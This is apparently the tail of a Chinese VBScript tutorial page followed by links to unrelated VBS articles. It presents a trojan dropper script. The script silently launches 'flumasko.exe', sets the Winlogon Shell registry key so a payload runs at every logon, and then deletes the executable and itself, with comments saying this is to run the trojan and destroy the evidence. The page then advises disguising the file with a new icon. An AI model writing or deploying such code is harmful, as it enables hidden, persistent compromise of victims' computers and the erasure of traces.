dim wsh 
set wsh=CreateObject("WScript.Shell") 
wsh.run "%windir%\flumasko.exe",0 //運(yùn)行木馬程序 
set sm=Wscript.CreateObject("WScript.Shell") 
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" 
//寫進(jìn)注冊表項(xiàng)實(shí)現(xiàn)自啟動 
set WshShell=WScript.CreateObject("WScript.Shell") 
WScript.Sleep 2000 
//等木馬的執(zhí)行完畢 
Set fso=CreateObject("Scripting.FileSystemObject") 
f=fso.DeleteFile ("flumasko.exe") 
f=fso.DeleteFile (WScript.ScriptName) 
//毀尸滅跡 

再修改下圖標(biāo)就大功告成了！

相關(guān)文章

VBS教程：VBscript語句-Option Explicit 語句
VBS教程：VBscript語句-Option Explicit 語句...
2006-11-11
vbs實(shí)現(xiàn)的eMule電驢自動關(guān)機(jī)腳本代碼
verycd,eMule電驢官方網(wǎng)站上說：為了不違背共享精神，是不會為eMule電驢添加自動關(guān)機(jī)功能的，這要多費(fèi)電呀，在網(wǎng)上看了一個(gè)方法，感覺非常不錯(cuò)，改掉了原代碼的不足之處
2008-07-07
VBS教程：方法-Read 方法
VBS教程：方法-Read 方法...
2006-11-11
使用腳本自動修改ip設(shè)置
這篇文章專為想通過腳本修改ip地址的朋友準(zhǔn)備的，第一個(gè)bat是測試通過的也比較實(shí)用，vbs一般也是通過netsh命令實(shí)現(xiàn)，當(dāng)然也可以不通過netsh實(shí)現(xiàn)，具體的大家自行參考下吧
2006-09-09
vbs(asp) ByVal ByRef函數(shù)調(diào)用使用說明
ByVal 傳送參數(shù)內(nèi)存的一個(gè)拷貝給被調(diào)用者。也就是說，棧中壓入的直接就是所傳的值。 ByRef 傳送參數(shù)內(nèi)存的實(shí)際地址給被調(diào)用者。也就是說，棧中壓入的是實(shí)際內(nèi)容的地址。被調(diào)用者可以直接更改該地址中的內(nèi)容。
2008-09-09
vbscript include的辦法實(shí)現(xiàn)代碼
vbscript本身沒有include這樣包含其他vbs文件的支持，在asp或html頁面里可以用<script ...這樣來包含一個(gè)vbs文件，如果是直接運(yùn)行的vbs腳本，就只有用其他辦法來代替這個(gè)功能了。
2009-02-02
vbs向指定的文件添加內(nèi)容的函數(shù)
用vbscript實(shí)現(xiàn)的向指定的文件寫字符串，第三個(gè)參數(shù)指定是否刪除原來的內(nèi)容，喜歡的朋友可以測試系
2013-01-01
VBScript 文件操作代碼小結(jié)
下面是一些vbs下常用到的一些文件操作代碼，整理了下方便以后開發(fā)使用，提高效率。
2009-08-08
VBS教程：VBScript 基礎(chǔ)-VBScript編碼約定
VBS教程：VBScript 基礎(chǔ)-VBScript編碼約定...
2006-11-11
用VBScript寫合并文本文件的腳本
今天用腳本實(shí)現(xiàn)幾個(gè)文本文件的合并，被FSO中的幾個(gè)函數(shù)絆住了好久，最終認(rèn)定這里應(yīng)該是Window里的Bug。
2009-04-04